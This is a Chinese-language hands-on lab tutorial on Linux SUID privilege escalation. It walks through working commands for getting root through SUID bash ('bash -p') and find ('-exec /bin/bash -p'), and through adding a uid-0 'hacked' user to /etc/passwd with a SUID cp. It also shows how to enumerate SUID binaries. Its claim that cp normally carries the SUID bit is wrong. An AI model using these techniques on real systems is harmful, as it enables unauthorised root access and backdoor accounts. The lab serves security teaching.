介绍
在本实验中,你将学习 SUID(Set user ID upon execution,执行时设置用户 ID)权限,以及如何利用它在 Linux 系统上进行权限提升。目标是通过利用 SUID 二进制文件,结合 bash、find、cp 和 mv 等命令,获取 root 权限。
理解 SUID
在这一步中,你将了解 SUID 权限的概念及其意义。
通常情况下,当程序在 Linux 上执行时,它会以当前用户的权限运行。然而,某些程序(如 cp)需要提升权限才能执行某些操作,例如将文件复制到受限制的目录中。为了让普通用户能够以提升的权限执行此类程序,可以在可执行文件上设置 SUID 权限。
SUID 代表“执行时设置用户 ID”(Set user ID upon execution)。当文件设置了 SUID 权限时,无论执行它的用户是谁,它都会以文件所有者的权限运行。例如,cp 命令由 root 用户拥有,并且设置了 SUID 位,允许任何用户以 root 权限执行它。
要检查 cp 命令的 SUID 权限并将输出保存到文件中,请运行以下命令:
ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt
使用以下命令查看 suid_cp.txt 文件的内容:
cat /home/labex/project/suid_cp.txt
预期输出:
-rwsr-xr-x 1 root root 141832 Feb 8 2024 /usr/bin/cp
你应该会在权限位中看到一个 s,这表示 SUID 权限已设置。
虽然 SUID 可以用于允许普通用户运行特定的特权命令,但如果 SUID 二进制文件提供了执行系统命令或修改文件的功能,它也可能被利用。
使用 bash 利用 SUID
在这一步中,你将学习如何利用具有 SUID 权限的 bash 命令进行权限提升。
首先,打开终端并导航到
/home/labex/project目录。cd /home/labex/project检查
bash命令的权限。ls -l /bin/bash预期输出:
-rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash如果
bash命令设置了 SUID 位,你可以使用以下命令以 root 权限执行系统命令:bash -p使用
whoami命令,你可以验证是否获得了 root shell。whoami预期输出:
root现在,你可以在
/root目录下创建一个名为root.txt的文件,并验证文件内容。touch /root/root.txt你应该会在
/root目录中看到root.txt文件。
使用 find 利用 SUID
在这一步中,你将学习如何利用具有 SUID 权限的 find 命令进行权限提升。
在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。
首先,导航到
/home/labex/project目录:cd /home/labex/project检查
find命令的权限:ls -l /usr/bin/find如果
find命令设置了 SUID 位,你可以利用它以 root 权限执行系统命令。使用
find执行命令的语法如下:find < file > -exec < command > \;其中,
<file>可以是任意文件。让我们创建一个名为test的文件:touch test现在,你可以使用
find执行命令:find test -exec whoami \;这将以 root 权限执行
whoami命令。然而,这种方法对于像ssh或su这样的交互式命令并不方便。为了获得一个更方便的 root shell,你可以执行
/bin/bash命令:find test -exec /bin/bash -p \;注意:
-p标志是必要的,用于保留有效用户 ID(EUID)并防止其被重置为真实用户 ID(RUID)。你现在应该已经获得了一个 root shell。在
/root目录下创建一个名为root.txt的文件,并验证文件内容:touch /root/root.txt你应该会在
/root目录中看到root.txt文件。
使用 cp 和 mv 利用 SUID
在这一步中,你将学习如何利用具有 SUID 权限的 cp 和 mv 命令,通过修改 /etc/passwd 或 /etc/shadow 文件进行权限提升。
在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。
首先,导航到
/home/labex/project目录:cd /home/labex/project检查
cp命令的权限:ls -l /bin/cp如果
cp命令设置了 SUID 位,你可以继续利用它。将
/etc/passwd文件的内容复制到你的主目录下的一个文件中:cat /etc/passwd > /home/labex/project/passwd创建一个新的用户条目,包含以下信息:
用户名:hacked
密码:pass123
在
/home/labex/project/passwd文件的末尾插入以下行:echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
现在,使用具有 SUID 权限的
cp命令覆盖/etc/passwd文件:cp /home/labex/project/passwd /etc/passwd覆盖文件后,你可以使用
su命令切换到hacked用户,密码为pass123:su hacked
由于 hacked 用户的用户 ID(uid)为 0,你将拥有 root 权限。
mv 命令的利用方法与 cp 类似。你可以自己尝试。
查找 SUID 二进制文件
在这一步中,你将学习如何查找系统中可能被用于权限提升的 SUID 二进制文件。
你可以使用以下命令列出所有设置了 SUID 位的可执行文件:
find / -user root -perm -4000 -print 2> /dev/null find / -perm -u=s -type f 2> /dev/null find / -user root -perm -4000 -exec ls -ldb {} \;导航到
/home/labex/project目录以执行以下步骤。cd /home/labex/project选择任意一个命令来列出系统中的 SUID 二进制文件并分析输出。
find / -user root -perm -4000 -print 2> /dev/null > check_results.txt检查
check_results.txt文件的内容以查看系统中的 SUID 二进制文件列表。cat check_results.txt然而,输出可能包含许多无法用于权限提升的文件,需要手动分析。
总结
在本实验中,你学习了 SUID 权限以及如何利用各种 SUID 二进制文件(如 bash、find、cp 和 mv)在 Linux 系统中进行权限提升。你通过实际操作获得了利用这些二进制文件获取 root 访问权限的经验,这是网络安全领域中的一项关键技能。实验提供了一个实际场景,并引导你逐步理解和有效应用这些技术。



